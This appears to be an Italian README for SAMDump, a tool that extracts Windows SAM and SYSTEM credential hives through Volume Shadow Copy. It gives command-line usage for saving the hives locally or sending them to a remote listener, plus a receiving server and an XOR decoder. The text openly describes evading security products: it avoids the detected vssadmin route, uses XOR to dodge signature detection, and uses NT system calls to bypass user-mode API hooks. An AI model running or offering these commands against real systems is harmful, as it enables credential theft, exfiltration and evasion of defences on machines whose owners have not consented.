
Estrai gli hive SAM e SYSTEM utilizzando l'API Volume Shadow Copy (VSS). Con opzioni di esfiltrazione e offuscamento XOR. In C#, C++, Crystal, Python, Rust, Golang, Nim e Deno (Javascript)
Estrae i file SAM e SYSTEM di Windows utilizzando Volume Shadow Copy Service (VSS) con molteplici opzioni di esfiltrazione e offuscamento XOR:
È implementato in C++, C#, Crystal e Python, e funziona sulle versioni moderne di Windows.
Richiede privilegi elevati e, se creata, la copia shadow viene cancellata automaticamente dopo circa 5 minuti.
SAMDump.exe [OPTIONS]
Options:
--save-local [BOOL] Save locally (default: false)
--output-dir DIR Output directory (default: C:\Windows\tasks)
--send-remote [BOOL] Send remotely (default: false)
--host IP Host for remote sending (default: 127.0.0.1)
--port PORT Port for remote sending (default: 7777)
--xor-encode [BOOL] XOR Encode (default: false)
--xor-key KEY Enable XOR with specified key (default: SAMDump2025)
--disk DISK Disk for shadow copy (default: C:\)
--help Show this help
Salva localmente senza codifica:
SAMDump.exe --save-local --output-dir "C:\temp"

Salva localmente con codifica XOR:
SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

Invia al server remoto con codifica XOR e la chiave predefinita:
SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

server.py è un server Python che riceve file attraverso la rete con decodifica XOR automatica e formattazione del nome file:
python server.py [OPTIONS]
Options:
--host HOST IP address to listen on (default: 0.0.0.0)
--port PORT Port to listen on (default: 7777)
--xor-key KEY Key for XOR decoding (optional)
Listener su interfaccia e porta specifici con chiave XOR:
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

Il nome file contiene l’indirizzo IP e la data, consentendo di inviare i file da diversi sistemi e automatizzando il processo.
xor-decoder.py è uno script Python per decodificare localmente i file SAM e SYSTEM codificati con XOR:
python xor-decoder.py [OPTIONS]
Options:
--sam SAM Path to encoded SAM file (required)
--system SYSTEM Path to encoded SYSTEM file (required)
--xor-key KEY XOR key for decoding (default: SAMDump2025)
--output-dir DIR Output directory for decoded files (default: ./decoded)
Decodifica con chiave predefinita:
python xor-decoder.py --sam sam.txt --system system.txt

Decodifica con chiave personalizzata e directory di output:
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

Il progetto include versioni implementate in tre linguaggi:
comtypes (pip install comtypes)Volevo automatizzare questo processo e la maggior parte dei sistemi Windows che incontro esegue VSS, ma le soluzioni di sicurezza rilevano l'uso di vssadmin per creare copie shadow ed estrarre questi file perché è una tecnica ben nota.
Questo strumento estrae i file senza scrivere nel filesystem di destinazione quando si utilizza la modalità di trasferimento remoto; la codifica XOR offre un offuscamento di base per eludere il rilevamento basato su firme (anche in modalità remota).
Inoltre, sfrutta le chiamate API NT per bypassare alcuni monitoraggi e hook API in modalità utente.
Lo strumento impiega chiamate di sistema NT invece delle funzioni API Windows standard, il che potrebbe bypassare alcuni hook API in modalità utente comunemente monitorati:
NtCreateFile e NtReadFile: Utilizzate per aprire un handle e leggere i byte dei file SAM e SYSTEM nella copia shadow
NtWriteFile: Utilizzata per salvare i file localmente
Grazie a @vx-underground per aver identificato e suggerito ottimizzazioni nel codice di attraversamento della Export Address Table (EAT), sostituendo chiamate non necessarie a NtReadVirtualMemory con accesso diretto ai puntatori.